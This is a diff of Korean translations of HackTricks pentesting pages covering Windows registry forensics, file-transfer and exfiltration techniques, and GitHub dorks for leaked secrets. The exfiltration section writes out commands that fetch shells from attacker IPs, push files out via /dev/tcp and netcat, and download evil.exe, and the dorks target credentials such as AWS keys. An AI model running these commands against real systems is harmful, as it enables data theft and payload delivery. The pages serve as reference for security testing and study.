- 마지막 접근 시간 추적을 활성화하면 파일이 마지막으로 열린 시간을 확인할 수 있어서 포렌식 분석이나 시스템 모니터링에 중요할 수 있습니다.
|
||||
|
||||
### 네트워크 정보 세부 사항
|
||||
- 레지스트리에는 네트워크 구성에 대한 포괄적인 데이터가 저장되어 있으며, 이는 네트워크 보안 설정 및 권한 이해에 중요합니다. 이 데이터에는 **네트워크 유형 (무선, 케이블, 3G)** 및 **네트워크 범주 (공용, 개인/홈, 도메인/작업)**가 포함됩니다.
|
||||
### 네트워크 정보 세부사항
|
||||
- 레지스트리에는 네트워크 구성에 대한 포괄적인 데이터가 저장되어 있으며, **네트워크 유형(무선, 케이블, 3G)** 및 **네트워크 범주(공용, 개인/홈, 도메인/작업)**를 포함하고 있어 네트워크 보안 설정 및 권한을 이해하는 데 중요합니다.
|
||||
|
||||
### 클라이언트 측 캐싱 (CSC)
|
||||
- **CSC**는 공유 파일의 복사본을 캐싱하여 오프라인 파일 액세스를 향상시킵니다. 다양한 **CSCFlags** 설정은 어떤 파일이 어떻게 캐시되는지를 제어하며, 연결이 불안정한 환경에서는 성능과 사용자 경험에 영향을 줄 수 있습니다.
|
||||
- **CSC**는 공유 파일의 복사본을 캐싱하여 오프라인 파일 액세스를 향상시킵니다. 다양한 **CSCFlags** 설정은 어떤 파일이 어떻게 캐싱되는지를 제어하며, 일시적인 연결이 있는 환경에서는 성능 및 사용자 경험에 영향을 줄 수 있습니다.
|
||||
|
||||
### 자동 시작 프로그램
|
||||
- 다양한 `Run` 및 `RunOnce` 레지스트리 키에 나열된 프로그램은 자동으로 시작되어 시스템 부팅 시간에 영향을 주며, 악성 코드 또는 원치 않는 소프트웨어를 식별하는 데 중요한 지점이 될 수 있습니다.
|
||||
- 다양한 `Run` 및 `RunOnce` 레지스트리 키에 나열된 프로그램들은 자동으로 시작되어 시스템 부팅 시간에 영향을 주며, 악성 코드나 원치 않는 소프트웨어를 식별하는 데 중요할 수 있습니다.
|
||||
|
||||
### Shellbags
|
||||
- **Shellbags**는 폴더 보기에 대한 환경 설정뿐만 아니라 폴더가 더 이상 존재하지 않더라도 폴더 접근에 대한 포렌식 증거를 제공합니다. 다른 수단으로는 명확하지 않은 사용자 활동을 밝혀내는 데 귀중합니다.
|
||||
### 쉘백
|
||||
- **쉘백**은 폴더 보기에 대한 환경 설정 뿐만 아니라 폴더 액세스에 대한 포렌식 증거를 제공합니다. 다른 방법으로는 명확하지 않은 사용자 활동을 드러내기 위해 조사에서 귀중한 자료입니다.
|
||||
|
||||
### USB 정보 및 포렌식
|
||||
- 레지스트리에 저장된 USB 장치에 대한 세부 정보는 컴퓨터에 연결된 장치를 추적하는 데 도움이 될 수 있으며, 민감한 파일 전송이나 무단 액세스 사건과 장치를 연결할 수 있습니다.
|
||||
- USB 장치에 대한 레지스트리에 저장된 세부 정보는 컴퓨터에 연결된 장치를 추적하는 데 도움이 될 수 있으며, 민감한 파일 전송이나 무단 액세스 사건과 연결될 수 있습니다.
|
||||
|
||||
### 볼륨 일련 번호
|
||||
- **볼륨 일련 번호**는 파일 시스템의 특정 인스턴스를 추적하는 데 중요할 수 있으며, 파일의 원본을 다른 장치에서 확인해야 하는 포렌식 시나리오에 유용합니다.
|
||||
- **볼륨 일련 번호**는 파일 시스템의 특정 인스턴스를 추적하는 데 중요할 수 있으며, 파일 원본을 다른 장치 간에 확립해야 하는 포렌식 시나리오에서 유용합니다.
|
||||
|
||||
### **종료 세부 정보**
|
||||
- 종료 시간 및 횟수 (XP의 경우에만 해당)는 **`System\ControlSet001\Control\Windows`** 및 **`System\ControlSet001\Control\Watchdog\Display`**에 저장됩니다.
|
||||
### **종료 세부사항**
|
||||
- 종료 시간 및 횟수 (XP의 경우에만)는 **`System\ControlSet001\Control\Windows`** 및 **`System\ControlSet001\Control\Watchdog\Display`**에 저장됩니다.
|
||||
|
||||
### **네트워크 구성**
|
||||
- 자세한 네트워크 인터페이스 정보는 **`System\ControlSet001\Services\Tcpip\Parameters\Interfaces{GUID_INTERFACE}`**를 참조하세요.
|
||||
- VPN 연결을 포함한 첫 번째 및 마지막 네트워크 연결 시간은 **`Software\Microsoft\Windows NT\CurrentVersion\NetworkList`**의 다양한 경로에 기록됩니다.
|
||||
- VPN 연결을 포함한 첫 번째 및 마지막 네트워크 연결 시간은 **`Software\Microsoft\Windows NT\CurrentVersion\NetworkList`**의 다양한 경로에 로그됩니다.
|
||||
|
||||
### **공유 폴더**
|
||||
- 공유 폴더 및 설정은 **`System\ControlSet001\Services\lanmanserver\Shares`**에 있습니다. 클라이언트 측 캐싱 (CSC) 설정은 오프라인 파일의 가용성을 결정합니다.
|
||||
- 공유 폴더 및 설정은 **`System\ControlSet001\Services\lanmanserver\Shares`**에 있습니다. 클라이언트 측 캐싱 (CSC) 설정은 오프라인 파일 가용성을 규정합니다.
|
||||
|
||||
### **자동으로 시작되는 프로그램**
|
||||
- **`NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Run`** 및 `Software\Microsoft\Windows\CurrentVersion`의 유사한 항목과 같은 경로에 나열된 프로그램은 시작 시 자동으로 실행됩니다.
|
||||
### **자동으로 시작하는 프로그램**
|
||||
- **`NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Run`**과 `Software\Microsoft\Windows\CurrentVersion` 하위 항목과 같은 경로는 시작 시 실행되는 프로그램을 자세히 설명합니다.
|
||||
|
||||
### **검색 및 입력된 경로**
|
||||
- 탐색기 검색 및 입력된 경로는 레지스트리의 **`NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer`**에 WordwheelQuery 및 TypedPaths로 추적됩니다.
|
||||
- 탐색기 검색 및 입력된 경로는 **`NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer`**의 WordwheelQuery 및 TypedPaths 아래에서 레지스트리에 추적됩니다.
|
||||
|
||||
### **최근 문서 및 Office 파일**
|
||||
- 최근에 액세스한 문서 및 Office 파일은 `NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer\RecentDocs` 및 특정 Office 버전 경로에 기록됩니다.
|
||||
|
@ -77,6 +77,29 @@ HackTricks를 지원하는 다른 방법:
|
|||
- 최근 파일 경로 및 명령을 나타내는 MRU 목록은 `NTUSER.DAT`의 다양한 `ComDlg32` 및 `Explorer` 하위 키에 저장됩니다.
|
||||
|
||||
### **사용자 활동 추적**
|
||||
- User Assist 기능은 애플리케이션 사용 횟수 및 마지막 실행 시간을 포함한 자세한 사용 통계를 **`NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{GUID}\Count`**에 기록합니다.
|
||||
- 사용자 어시스트 기능은 **`NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{GUID}\Count`**에서 실행 횟수 및 마지막 실행 시간을 포함한 자세한 응용 프로그램 사용 통계를 기록합니다.
|
||||
|
||||
### **Shell
|
||||
### **쉘백 분석**
|
||||
- 폴더 액세스 세부 정보를 나타내는 쉘백은 `USRCLASS.DAT` 및 `NTUSER.DAT`의 `Software\Microsoft\Windows\Shell`에 저장됩니다. 분석을 위해 **[Shellbag Explorer](https://ericzimmerman.github.io/#!index.md)**를 사용하세요.
|
||||
|
||||
### **USB 장치 이력**
|
||||
- **`HKLM\SYSTEM\ControlSet001\Enum\USBSTOR`** 및 **`HKLM\SYSTEM\ControlSet001\Enum\USB`**에는 제조사, 제품 이름 및 연결 타임스탬프를 포함한 연결된 USB 장치에 대한 상세 정보가 포함되어 있습니다.
|
||||
- 특정 USB 장치와 연결된 사용자는 장치의 **{GUID}**를 검색하여 파악할 수 있습니다.
|
||||
- 마지막으로 마운트된 장치 및 해당 볼륨 일련 번호는 각각 `System\MountedDevices` 및 `Software\Microsoft\Windows NT\CurrentVersion\EMDMgmt`를 통해 추적할 수 있습니다.
|
||||
|
||||
이 안내서는 Windows 시스템에서 상세한 시스템, 네트워크 및 사용자 활동 정보에 액세스하기 위한 중요한 경로와 방법을 명확하고 사용하기 쉽도록 요약했습니다.
|
||||
|
||||
{% hint style="success" %}
|
||||
AWS 해킹 학습 및 실습:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP 해킹 학습 및 실습: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>HackTricks 지원</summary>
|
||||
|
||||
* [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
||||
* **HackTricks** 및 **HackTricks Cloud** 깃허브 저장소에 PR을 제출하여 해킹 트릭을 공유하세요.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,30 +1,31 @@
|
|||
# 유출
|
||||
|
||||
{% hint style="success" %}
|
||||
AWS 해킹 학습 및 실습:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP 해킹 학습 및 실습: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 **제로부터 영웅까지 AWS 해킹 배우기**!</summary>
|
||||
<summary>HackTricks 지원</summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사를 HackTricks에서 광고**하거나 **HackTricks를 PDF로 다운로드**하려면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* **💬 [**디스코드 그룹**](https://discord.gg/hRep4RUj7f)에 가입하거나 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나 **트위터** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)를 **팔로우**하세요.
|
||||
* **해킹 트릭을 공유하려면 PR을** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 제출하세요.
|
||||
* [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* **💬 [**디스코드 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나** 트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
||||
* **해킹 트릭을 공유하려면 PR을 제출하여** [**HackTricks**](https://github.com/carlospolop/hacktricks) **및** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **깃허브 저장소에 기여하세요.**
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
## 정보 유출을 위한 일반적으로 화이트리스트에 등록된 도메인
|
||||
## 정보 유출을 위해 일반적으로 화이트리스트에 등록된 도메인
|
||||
|
||||
[https://lots-project.com/](https://lots-project.com/)에서 남용될 수 있는 일반적으로 화이트리스트에 등록된 도메인을 찾으세요
|
||||
[https://lots-project.com/](https://lots-project.com/)에서 남용할 수 있는 일반적으로 화이트리스트에 등록된 도메인을 찾아보세요
|
||||
|
||||
## Base64 복사 및 붙여넣기
|
||||
|
||||
|
@ -33,7 +34,7 @@ HackTricks를 지원하는 다른 방법:
|
|||
base64 -w0 <file> #Encode file
|
||||
base64 -d file #Decode file
|
||||
```
|
||||
**윈도우**
|
||||
**Windows**
|
||||
```
|
||||
certutil -encode payload.dll payload.b64
|
||||
certutil -decode payload.b64 payload.dll
|
||||
|
@ -47,7 +48,7 @@ wget 10.10.14.14:8000/tcp_pty_backconnect.py -P /dev/shm
|
|||
curl 10.10.14.14:8000/shell.py -o /dev/shm/shell.py
|
||||
fetch 10.10.14.14:8000/shell.py #FreeBSD
|
||||
```
|
||||
**윈도우**
|
||||
**Windows**
|
||||
```bash
|
||||
certutil -urlcache -split -f http://webserver/payload.b64 payload.b64
|
||||
bitsadmin /transfer transfName /priority high http://example.com/examplefile.pdf C:\downloads\examplefile.pdf
|
||||
|
@ -170,7 +171,7 @@ kali_op2> smbserver.py -smb2support name /path/folder # Share a folder
|
|||
#For new Win10 versions
|
||||
impacket-smbserver -smb2support -user test -password test test `pwd`
|
||||
```
|
||||
또는 samba를 사용하여 smb 공유를 만듭니다:
|
||||
또는 **samba를 사용하여** smb 공유를 만듭니다:
|
||||
```bash
|
||||
apt-get install samba
|
||||
mkdir /tmp/smb
|
||||
|
@ -185,7 +186,7 @@ guest ok = Yes
|
|||
#Start samba
|
||||
service smbd restart
|
||||
```
|
||||
윈도우 환경에서는 다양한 방법을 사용하여 데이터를 유출할 수 있습니다. 아래는 일반적인 데이터 유출 방법입니다.
|
||||
윈도우
|
||||
```bash
|
||||
CMD-Wind> \\10.10.14.14\path\to\exe
|
||||
CMD-Wind> net use z: \\10.10.14.14\test /user:test test #For SMB using credentials
|
||||
|
@ -201,13 +202,13 @@ scp <username>@<Attacker_IP>:<directory>/<filename>
|
|||
```
|
||||
## SSHFS
|
||||
|
||||
피해자가 SSH를 사용하고 있다면, 공격자는 피해자의 디렉토리를 공격자에게 마운트할 수 있습니다.
|
||||
피해자가 SSH를 가지고 있다면, 공격자는 피해자의 디렉토리를 공격자에게 마운트할 수 있습니다.
|
||||
```bash
|
||||
sudo apt-get install sshfs
|
||||
sudo mkdir /mnt/sshfs
|
||||
sudo sshfs -o allow_other,default_permissions <Target username>@<Target IP address>:<Full path to folder>/ /mnt/sshfs/
|
||||
```
|
||||
## 네트워크 채널
|
||||
## 네트워크 채널 (Network Channel)
|
||||
```bash
|
||||
nc -lvnp 4444 > new_file
|
||||
nc -vn <IP> 4444 < exfil_file
|
||||
|
@ -220,9 +221,6 @@ nc -lvnp 80 > file #Inside attacker
|
|||
cat /path/file > /dev/tcp/10.10.10.10/80 #Inside victim
|
||||
```
|
||||
### 피해자에게 파일 업로드
|
||||
|
||||
- 파일을 업로드하여 피해자 시스템으로 데이터를 전송할 수 있습니다.
|
||||
- 업로드된 파일은 다양한 방법으로 악용될 수 있으므로 주의해야 합니다.
|
||||
```bash
|
||||
nc -w5 -lvnp 80 < file_to_send.txt # Inside attacker
|
||||
# Inside victim
|
||||
|
@ -257,7 +255,7 @@ sudo python -m smtpd -n -c DebuggingServer :25
|
|||
```
|
||||
## TFTP
|
||||
|
||||
XP 및 2003에서는 기본적으로 활성화되어 있습니다 (다른 시스템에서는 설치 중 명시적으로 추가해야 함)
|
||||
기본적으로 XP 및 2003에서 (다른 시스템에서는 설치 중 명시적으로 추가해야 함)
|
||||
|
||||
Kali에서 **TFTP 서버 시작**:
|
||||
```bash
|
||||
|
@ -321,7 +319,7 @@ cscript wget.vbs http://10.11.0.5/evil.exe evil.exe
|
|||
```
|
||||
## Debug.exe
|
||||
|
||||
`debug.exe` 프로그램은 이진 파일을 검사하는 것뿐만 아니라 **16진수로부터 이진 파일을 재구성할 수 있는 능력**을 가지고 있습니다. 이는 `debug.exe`가 이진 파일을 생성할 수 있다는 것을 의미합니다. 그러나 중요한 점은 debug.exe가 **크기가 64 kb까지의 파일을 조립하는 제한**이 있다는 것입니다.
|
||||
`debug.exe` 프로그램은 이진 파일을 검사하는 것뿐만 아니라 **16진수로부터 이진 파일을 다시 만들 수 있는 능력**을 가지고 있습니다. 이는 `debug.exe`가 이진 파일을 생성할 수 있다는 것을 의미합니다. 그러나 중요한 점은 debug.exe가 **크기가 64 kb까지인 파일을 조립하는 데 제한이 있다**는 것입니다.
|
||||
```bash
|
||||
# Reduce the size
|
||||
upx -9 nc.exe
|
||||
|
@ -337,20 +335,21 @@ wine exe2bat.exe nc.exe nc.txt
|
|||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
AWS 해킹 학습 및 실습:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP 해킹 학습 및 실습: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 제로부터 AWS 해킹을 배우세요!</summary>
|
||||
<summary>HackTricks 지원</summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사가 HackTricks를 광고하길 원하거나 PDF로 다운로드하길 원한다면** [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)를 **팔로우**하세요.
|
||||
* **HackTricks** 및 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
|
||||
* [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
|
||||
* [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃헙 레포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,27 +1,28 @@
|
|||
# Github Dorks & Leaks
|
||||
# Github 도크 및 누출물
|
||||
|
||||
{% hint style="success" %}
|
||||
AWS 해킹 학습 및 실습:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP 해킹 학습 및 실습: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
||||
<summary>HackTricks 지원</summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)를 **팔로우**하세요.
|
||||
* **Hacking 트릭을 공유하려면** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하세요.
|
||||
* [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* **💬 [**디스코드 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나** 트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
||||
* **해킹 팁을 공유하려면 PR을 제출하여** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 기여하세요.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<img src="../../.gitbook/assets/i3.png" alt="" data-size="original">\
|
||||
**버그 바운티 팁**: 해커들이 만든 프리미엄 버그 바운티 플랫폼인 **Intigriti에 가입**하세요! 오늘 [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks)에서 가입하고 최대 **$100,000**의 바운티를 받으세요!
|
||||
**버그 바운티 팁**: **Intigriti**에 **가입**하여 **해커들이 만든 프리미엄 버그 바운티 플랫폼**을 이용하세요! 오늘 [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks)에 가입하여 최대 **$100,000**의 바운티를 받아보세요!
|
||||
|
||||
{% embed url="https://go.intigriti.com/hacktricks" %}
|
||||
|
||||
이제 스코프의 자산 목록을 작성했으므로 OSINT에서 쉽게 얻을 수 있는 정보를 검색해보겠습니다.
|
||||
이제 우리의 범위 자산 목록을 작성했으므로 OSINT에서 쉽게 얻을 수 있는 정보를 찾아보는 시간입니다.
|
||||
|
||||
### 이미 누출을 검색한 플랫폼
|
||||
### 이미 누출을 조사한 플랫폼
|
||||
|
||||
* [https://trufflesecurity.com/blog/introducing-forager/](https://trufflesecurity.com/blog/introducing-forager/)
|
||||
|
||||
|
@ -39,7 +40,7 @@ HackTricks를 지원하는 다른 방법:
|
|||
* [https://github.com/kootenpv/gittyleaks](https://github.com/kootenpv/gittyleaks)
|
||||
* [https://github.com/obheda12/GitDorker](https://github.com/obheda12/GitDorker)
|
||||
|
||||
### **Dorks**
|
||||
### **도크**
|
||||
```bash
|
||||
".mlab.com password"
|
||||
"access_key"
|
||||
|
@ -321,16 +322,17 @@ GCP SECRET
|
|||
AWS SECRET
|
||||
"private" extension:pgp
|
||||
```
|
||||
{% hint style="success" %}
|
||||
AWS 해킹 학습 및 실습:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP 해킹 학습 및 실습: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
||||
<summary>HackTricks 지원</summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)를 **팔로우**하세요.
|
||||
* **Hacking 트릭을 공유하려면** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하세요.
|
||||
* [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
|
||||
* 해킹 팁을 공유하려면 [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하세요.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,57 +1,59 @@
|
|||
# Wide Source Code Search
|
||||
# 넓은 소스 코드 검색
|
||||
|
||||
{% hint style="success" %}
|
||||
AWS 해킹 학습 및 실습:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP 해킹 학습 및 실습: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)를 통해 AWS 해킹을 처음부터 전문가까지 배우세요</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>HackTricks 지원</summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사가 HackTricks에 광고되길 원하거나** **HackTricks를 PDF로 다운로드하고 싶다면** [**구독 요금제를 확인하세요**](https://github.com/sponsors/carlospolop)!
|
||||
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 저희의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* \*\*💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f)에 가입하거나 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요**.
|
||||
* **해킹 트릭을 공유하려면** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하세요.
|
||||
* [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* 💬 [**디스코드 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
|
||||
* [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃헙 저장소에 PR을 제출하여 해킹 요령을 공유하세요.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="https://github.com/carlospolop/hacktricks/blob/kr/generic-methodologies-and-resources/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
이 페이지의 목표는 하나 이상의 플랫폼에서 수천/수백만 개의 리포지토리에서 코드(문자 또는 정규식)를 검색할 수 있는 **플랫폼을 나열하는 것**입니다.
|
||||
이 페이지의 목표는 **수천만 개/수백만 개의 저장소에서 코드(문자 또는 정규식)를 검색할 수 있는 플랫폼을 열거**하는 것입니다.
|
||||
|
||||
이는 **유출된 정보를 검색**하거나 **취약점** 패턴을 찾는 데 도움이 됩니다.
|
||||
|
||||
